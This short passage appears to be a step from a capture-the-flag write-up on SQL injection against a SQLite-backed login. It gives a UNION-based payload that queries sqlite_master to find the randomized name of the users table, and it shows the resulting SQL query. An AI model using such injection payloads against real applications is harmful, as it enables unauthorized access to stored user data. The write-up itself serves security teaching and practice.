Since the server uses sqlite
Query: admin" UNION SELECT tbl_name FROM sqlite_master WHERE tbl_name LIKE "users%
SQL Query formed (REDACTED is the randomized name of users table)
SELECT username FROM REDACTED WHERE username LIKE "admin" UNION SELECT tbl_name FROM sqlite_master WHERE tbl_name LIKE "users%"This gives the name os the users table, now do same as SQLi 3